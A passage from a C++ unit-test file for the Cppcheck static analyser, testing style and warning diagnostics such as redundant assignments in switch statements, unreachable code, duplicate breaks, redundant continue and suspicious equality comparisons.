\" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n 